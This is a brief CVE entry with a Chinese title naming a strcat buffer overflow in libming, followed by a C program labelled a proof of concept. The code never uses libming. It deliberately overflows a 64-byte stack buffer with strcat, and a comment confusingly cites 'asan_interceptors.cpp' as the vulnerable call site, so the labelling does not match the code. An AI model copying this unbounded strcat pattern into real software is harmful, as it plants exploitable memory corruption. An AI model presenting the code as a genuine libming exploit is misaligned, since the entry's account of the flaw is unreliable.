CVE-2025-66869 libming strcat函数缓冲区溢出漏洞

#include <stdio.h> #include <string.h> #include <stdlib.h> // PoC for CVE-2025-66869: Buffer overflow in libming strcat // This demonstrates the unsafe strcat usage pattern void vulnerable_strcat_demo() { char buffer[64]; // Initialize buffer with some data memset(buffer, 'A', 63); buffer[63] = '\0'; // This simulates the vulnerable strcat call in asan_interceptors.cpp // Attackers can craft input that exceeds buffer bounds char *malicious_input = malloc(128); memset(malicious_input, 'B', 127); malicious_input[127] = '\0'; // VULNERABLE: No bounds checking before strcat strcat(buffer, malicious_input); // This will cause buffer overflow, potentially corrupting stack free(malicious_input); } int main() { printf("CVE-2025-66869 PoC - libming strcat buffer overflow\n"); printf("This PoC demonstrates the vulnerable strcat usage pattern\n"); vulnerable_strcat_demo(); return 0; }